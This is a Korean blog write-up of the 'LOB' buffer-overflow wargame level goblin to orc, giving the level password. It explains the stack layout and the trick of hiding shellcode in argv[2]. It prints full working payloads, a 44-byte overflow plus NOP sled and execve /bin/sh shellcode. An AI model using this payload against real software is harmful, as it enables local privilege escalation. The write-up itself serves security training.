System&Write up/LOB

LOB goblin -> orc Write up

Jubil 2017. 10. 3. 16:50
반응형

LOB goblin -> orc

 

ID : goblin

Passwd : hackers proof

 


접속해서 ls 명령어를 이용해서 파일과 디렉터리를 확인합니다.

 


cat 명령어를 이용해서 code를 확인합니다.

 

egghunter 기법 때문에 우리는 환경 변수를 이용한 공격을 할 수 없게 되었습니다.

그리고 무조건 Return Address는 스택 영역으로 변조해야 합니다.

 

하지만 buffer의 크기는 너무 작아 이용하기 힘들 것 같습니다. argv[1]은 '\xbf' 우회에 초점을 두도록 하겠습니다.

그렇다면 환경 변수도 아니고 buffer도 아니고 argv[1]도 아니고 스택에 존재할 수 있는 부분은 뭐가 있을까요?

 

argv[2]입니다. 지금까지는 main 함수 인자를 파일명과 payload 이렇게 두 개만 넣어줬습니다.

하지만 main 함수 인자를 하나 더 넣어주고 거기에 셸코드가 있다면? Return Addressargv[2] 시작 주소로 변조하면 될 것 같습니다.

 

메모리 구조를 확인하기 위해 디스어셈블 해보겠습니다.

 


스택 프레임을 44byte 만큼 할당해 줍니다.

 

buffer가 먼저, i가 나중에 선언 되었기 때문에, 메모리 구조는

| i(4) | buffer(40) | SFP(4) | RET(4) |

이 됩니다.

 

payload를 구성해보면,

argv[1] : 44byte 더미 + argv[2]의 시작 주소

argv[2] : 약간의 NOP + 셸코드

 

argv[2]의 시작 주소를 찾기 위해 tmp를 만들고 원본 파일을 tmp에 복사합니다.

 

payload : ./orc `python –c ‘print “A”*44 + “\xbf\xbf\xbf\xbf"’` `python –c ‘print “\x90”*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`

 

앞에 빨간색 부분이 argv[1], 뒤에 파란색 부분이 argv[2]입니다.

payload를 복사한 파일에 박아봅시다.

 


core 파일이 나옵니다. core 파일을 분석해보겠습니다.

 


밑에 main 함수의 인자들이 보입니다.

 

argv[2]0xbffffbcf가 시작 주소입니다.

 

payload : ./orc `python –c ‘print “A”*44 + “\xcf\xfb\xff\xbf"’` `python –c ‘print “\x90”*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`

 

원본 파일에 공격해보겠습니다.


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB wolfman -> darkelf Write up  (0) 2017.10.07
LOB orc -> wolfman Write up  (0) 2017.10.07
LOB cobolt -> goblin Write up  (0) 2017.10.03
LOB gremlin -> cobolt Write up  (0) 2017.10.03
LOB gate -> gremlin Write up  (0) 2017.10.03